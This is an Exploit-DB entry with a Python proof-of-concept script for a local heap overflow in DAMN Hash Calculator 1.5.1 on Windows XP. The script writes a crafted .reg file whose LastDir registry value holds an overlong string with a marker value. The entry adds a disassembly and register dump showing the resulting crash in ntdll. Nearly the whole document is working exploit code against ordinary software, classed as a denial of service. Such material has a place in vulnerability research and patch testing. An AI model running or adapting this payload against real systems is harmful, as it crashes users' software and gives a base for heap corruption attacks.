DAMN Hash Calculator 1.5.1 - Local Heap Overflow (PoC)

Author: Julien Ahrens
type: dos
platform: windows
port: 
date_added: 2012-02-22 
date_updated: 2012-03-16 
verified: 1 
codes: OSVDB-80811 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt19000/screen-shot-2012-03-01-at-70950-pm.png 
application_url: http://www.exploit-db.comDAMN.Hash.Calculator.1.5.1.exe

#!/usr/bin/python

# Exploit Title: DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC
# Version:       1.5.1
# Date:          2012-02-21
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.google.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Old but nice software...just to proof it's there :-)
# Howto:         Import Reg -> Start App -> Select File -> Cancel without choosing one

#7C9204E6   . 8B7D 08        MOV EDI,DWORD PTR SS:[EBP+8]
#7C9204E9   . 0B47 10        OR EAX,DWORD PTR DS:[EDI+10]
#7C9204EC   . A9 00000269    TEST EAX,69020000
#7C9204F1   . 0F85 8BA70300  JNZ ntdll.7C95AC82
#7C9204F7   > 8B45 10        MOV EAX,DWORD PTR SS:[EBP+10]
#7C9204FA   . 8A48 FD        MOV CL,BYTE PTR DS:[EAX-3]      <-- Crash
#7C9204FD   . 83C0 F8        ADD EAX,-8
#7C920500   . F6C1 01        TEST CL,1
#7C920503   . 56             PUSH ESI
#7C920504   . 0F84 92A70300  JE ntdll.7C95AC9C
#7C92050A   . F6C1 08        TEST CL,8
#7C92050D   . 0F85 B3A70300  JNZ ntdll.7C95ACC6

#EAX 42424245
#ECX 00000008
#EDX 77C31AE8 msvcrt.77C31AE8
#EBX 0040F2F0 DAMN_Has.0040F2F0
#ESP 0012F54C
#EBP 0012F550
#ESI 0041A2DC ASCII "EBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
#EDI 00330000
#EIP 7C9204FA ntdll.7C9204FA


file="poc.reg"

junk1="\x41" * 392
boom="\x45\x42\x42\x42"
junk2="\x43" * 50

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\DAMN\Hash Calculator\Settings]\n"
poc=poc + "\"LastDir\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";